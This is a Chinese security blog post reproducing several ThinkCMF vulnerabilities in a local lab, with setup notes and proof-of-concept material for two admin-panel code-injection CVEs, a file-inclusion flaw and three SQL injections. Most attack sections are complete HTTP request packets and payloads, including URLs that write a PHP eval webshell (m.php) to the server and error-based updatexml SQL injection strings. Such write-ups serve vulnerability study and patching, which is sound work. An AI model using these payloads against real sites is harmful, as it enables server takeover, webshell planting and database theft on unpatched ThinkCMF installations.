ThinkCMF 2.x漏洞复现汇总(包括最新任意文件读写漏洞

2019-10-25 6,611

有哪些地方书写错误请各位师傅斧正!

安装

  • 新建一个thinkcmf目录,把除public目录外的文件都移动到thinkcmf下。然后把public里的所有文件移动到根目录。

  • 接下来要要修改index.php里的代码。

    define('CMF_ROOT', __DIR__ . '/../');
    修改为:
    define('CMF_ROOT', __DIR__ . '/thinkcmf/');
  • 集成环境phpstudy不能使用2016年版本不然PHP版本更不上会导致报错

  • phpstudy服务应该开启apache+mysql,不应该开启nginx+mysql因为会导致安装错误!!!!

  • 直接访问http://192.168.0.147/?s=install目录会跳出安装向导

  • 可以通过以下链接下载历史版本

    https://github.com/thinkcmf/thinkcmf/archive/5.0.190111.zip

0x01 CVE-2019-6713 后台代码执行漏洞

漏洞位置:
  • 注意

    /portal/admin_category/addpost.html
漏洞详情:
  • 版本

    ThinkCMF 5.0.190111
请求方式:
POST
POC:
  • 分类别名中添加payload

    1'=>array("",""),phpinfo(),'

    1.png

  • 点击添加后即可复现成功

    2.png

  • 数据包

    POST /portal/admin_category/addpost.html HTTP/1.1
    Host: 192.168.0.147
    User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.9 Safari/537.36
    Accept: application/json, text/javascript, */*; q=0.01
    Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
    Accept-Encoding: gzip, deflate
    Referer: http://192.168.0.147/portal/admin_category/add.html
    Content-Type: application/x-www-form-urlencoded; charset=UTF-8
    X-Requested-With: XMLHttpRequest
    Content-Length: 179
    DNT: 1
    Connection: close
    Cookie: thinkphp_show_page_trace=0|0; hibext_instdsigdipv2=1; PHPSESSID=5qudaivv5onc43dncu9tsn2c5t; thinkphp_show_page_trace=0|0; admin_username=1%40qq.com

    parent_id=0&name=111&alias=1'%3D%3Earray(%22%22%2C%22%22)%2Cphpinfo()%2C'&description=&more%5Bthumbnail%5D=&seo_title=&seo_keywords=&seo_description=&list_tpl=list&one_tpl=article

0x02 CVE-2019-7508 后台代码执行漏洞

漏洞位置:
/portal/admin_category/addpost.html
漏洞详情:
  • 描述

    该漏洞是在复现thinkcmf的CVE-2019-6713的时候发现的,通过"添加分类"可以写入该文件
  • 注意

    1.alias通过该参数可以进行写入命令
    2.需要登录后台才可以操作
  • 版本

    ThinkCMF 5.0.190111
请求方式:
POST
POC:
  • 直接访问改目录进行登录

    /admin/index/index.html
  • 漏洞位置

    门户管理->分类管理->添加分类

    3.png


  • 抓包后发送payload

    4.png

  • 数据包如下

POST /portal/admin_category/addpost.html HTTP/1.1
Host: 192.168.0.147
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.9 Safari/537.36
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://192.168.0.147/portal/admin_category/add.html
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 171
DNT: 1
Connection: close
Cookie: thinkphp_show_page_trace=0|0; hibext_instdsigdipv2=1; PHPSESSID=5qudaivv5onc43dncu9tsn2c5t; thinkphp_show_page_trace=0|0; admin_username=1%40qq.com

parent_id=0&name=123&alias=1'%3D%3Earray(%22%22)%2Cphpinfo()%2C'2&description=&more%5Bthumbnail%5D=&seo_title=&seo_keywords=&seo_description=&list_tpl=list&one_tpl=article
  • 访问shell

    http://192.168.0.147/portal/admin_category/index.html

    5.png

0x03 ThinkCMFX 文件包含漏洞(可写入任意文件)

漏洞位置:
  • 注意

    漏洞位置在根目录下,也就是说直接在网站首页攻击即可
    public/index
漏洞详情:
  • 描述

    ThinkCMF是一款基于PHP+MYSQL开发的中文内容管理框架,底层采用ThinkPHP3.2.3构建。
    攻击者可利用此漏洞构造恶意的url,向服务器写入任意内容的文件,达到远程代码执行的目的。
  • 注意

    # 第一处
    index.php?g=Comment&m=Widget&a=fetch&templateFile=/../public/index&content=<%3fphp+file_put_contents('m.php','<%3fphp+eval($_POST[_])%3b');?>&prefix=
    # 第二处
    index.php?g=Api&m=Plugin&a=fetch&templateFile=/../../../public/index&content=<%3fphp+file_put_contents('m.php','<%3fphp+eval($_POST[_])%3b');?>&prefix=
  • 版本

    ThinkCMF X1.6.0
    ThinkCMF X2.1.0
    ThinkCMF X2.2.0
    ThinkCMF X2.2.1
    ThinkCMF X2.2.2
    ThinkCMF X2.2.3
请求方式:
POST
POC:
  • 第一种通过构造a参数的fetch方法,可以不需要知道文件路径就可以把php代码写入文件

    • phpinfopayload如下

      ?a=fetch&templateFile=public/index&prefix=''&content=<php>file_put_contents('test.php','<?php phpinfo(); ?>')</php>
    • 发送payload

      6.png

    • 复现效果如下

      7.png

  • 第二种通过构造a参数的display方法,实现任意内容包含漏洞

    • payload

      ?a=display&templateFile=README.md

      8.png

0x04 CVE-2018-19894 SQL注入

漏洞位置:
  • 注意

    漏洞位置在根目录下,也就是说直接在网站首页攻击即可
  • 位置

    index.php?g=Comment&m=commentadmin&a=check&check=1
漏洞详情:
  • 描述

    漏洞位于/application/Comment/Controller/CommentadminController.class.php的check、delete方法, 以62行为例,$_POST['ids']参数通过join后,传递到where语句中,但并没有使用where语句的in方法,而是直接拼接到SQL语句中,导致SQL注入。
  • 注意

    需要登录后台才可以利用
  • 版本

    ThinkCMF X2.2.2
请求方式:
POST
POC:
  • 注意

    POST包中的Referer的值要改成和url一样不然无法注入
  • payload

    POST数据包如下
    ids[]=1&ids[]=2 and updatexml(1,concat(0x7e,(SELECT user()),0x7e),1)
  • 数据包

    POST /cmfx/index.php?g=admin&m=commentadmin&a=check&check=1 HTTP/1.1
    Host: 192.168.0.147
    User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.9 Safari/537.36
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
    Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
    Accept-Encoding: gzip, deflate
    Referer: http://192.168.0.147/cmfx/index.php?g=Comment&m=commentadmin&a=check&check=1
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 100
    DNT: 1
    Connection: close
    Cookie: thinkphp_show_page_trace=0|0; hibext_instdsigdipv2=1; admin_username=1%40qq.com; yfsJBr_think_language=zh-CN; PHPSESSID=i2sd2osef0a69ku55jc38ai7k9
    Upgrade-Insecure-Requests: 1

    ids%5B%5D=1&ids%5B%5D=2+and+updatexml%281%2Cconcat%280x7e%2C%28SELECT+user%28%29%29%2C0x7e%29%2C1%29

    9.png

    10.png

0x05 CVE-2018-19895 SQL注入

漏洞位置:
  • 注意

    漏洞位置在根目录下,也就是说直接在网站首页攻击即可
  • 位置

    index.php?g=Admin&m=nav&a=edit_post
漏洞详情:
  • 描述

    跟进`application/Admin/Controller/NavController.class.php`,在文件的173行。`$parentid`直接由`$_POST['parentid']`传递进来,随后被直接拼接到where语句中。
    NavController.class.php中edit_post方法SQL注入
  • 注意

    需要登录后台才可以利用
  • 版本

    ThinkCMF X2.2.2
请求方式:
POST
POC:
  • 注意

    POST包中的Referer的值要改成和url一样不然无法注入
  • payload

    POST数据包如下
    parentid=1 and updatexml(1,concat(0x7e,(SELECT user()),0x7e),1)
  • 数据包

    POST /cmfx/index.php?g=Admin&m=nav&a=edit_post HTTP/1.1
    Host: 192.168.0.147
    User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 11_0_1 like Mac OS X) AppleWebKit/604.1.38 (KHTML, like Gecko) Version/11.0 Mobile/15A402 Safari/604.1
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
    Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
    Accept-Encoding: gzip, deflate
    Referer: http://192.168.0.147/cmfx/index.php?g=Admin&m=nav&a=edit_post
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 87
    DNT: 1
    Connection: close
    Cookie: thinkphp_show_page_trace=0|0; hibext_instdsigdipv2=1; admin_username=1%40qq.com; PHPSESSID=i2sd2osef0a69ku55jc38ai7k9; yfsJBr_admin_username=1%40qq.com
    Upgrade-Insecure-Requests: 1

    parentid=1+and+updatexml%281%2Cconcat%280x7e%2C%28SELECT+user%28%29%29%2C0x7e%29%2C1%29

    11.png12.png

0x06 CVE-2018-19896 SQL注入

漏洞位置:
  • 注意

    漏洞位置在根目录下,也就是说直接在网站首页攻击即可
  • 位置

    index.php?g=Admin&m=slide&a=delete
漏洞详情:
  • 描述

    在application/Admin/Controller/SlideController.class.php的93行,delete方法中,$_POST['ids']通过implode方法变成字符串,随后直接拼接进入where语句的in子句中。
  • 注意

    需要登录后台才可以利用
  • 版本

    ThinkCMF X2.2.2
请求方式:
POST
POC:
  • 注意

    POST包中的Referer的值要改成和url一样不然无法注入
  • payload

    POST数据包如下
    ids[]=1&ids[]=0 and updatexml(1, concat(0x7e,user(),0x7e),1)
  • 数据包

    POST /cmfx/index.php?g=Admin&m=slide&a=delete HTTP/1.1
    Host: 192.168.0.147
    User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 11_0_1 like Mac OS X) AppleWebKit/604.1.38 (KHTML, like Gecko) Version/11.0 Mobile/15A402 Safari/604.1
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
    Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
    Accept-Encoding: gzip, deflate
    Referer: http://192.168.0.147/cmfx/index.php?g=Admin&m=slide&a=delete
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 88
    DNT: 1
    Connection: close
    Cookie: thinkphp_show_page_trace=0|0; hibext_instdsigdipv2=1; admin_username=1%40qq.com; PHPSESSID=i2sd2osef0a69ku55jc38ai7k9; yfsJBr_admin_username=1%40qq.com; yfsJBr_think_language=zh-CN
    Upgrade-Insecure-Requests: 1
    Cache-Control: max-age=0

    ids%5B%5D=1&ids%5B%5D=0+and+updatexml%281%2C+concat%280x7e%2Cuser%28%29%2C0x7e%29%2C1%29

    13.png

    14.png

CVE-2018-19898属于ThinkPHP 3.x版本爆出存在bind注入就不做概述了

参考链接


本文作者:ascotbe

本文为安全脉搏专栏作者发布,转载请注明:https://www.secpulse.com/archives/116448.html

Tags:
评论  (0)
快来写下你的想法吧!

ascotbe

文章数:12 积分: 190

安全问答社区

安全问答社区

脉搏官方公众号

脉搏公众号